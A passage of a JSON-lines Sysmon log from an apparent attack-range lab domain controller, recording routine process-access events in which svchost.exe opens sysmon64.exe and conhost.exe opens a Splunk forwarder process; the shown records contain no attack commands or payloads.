11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:37.386\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B1-5F2D-0000-0010A0E70800}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:37.386","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B1-5F2D-0000-0010A0E70800}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 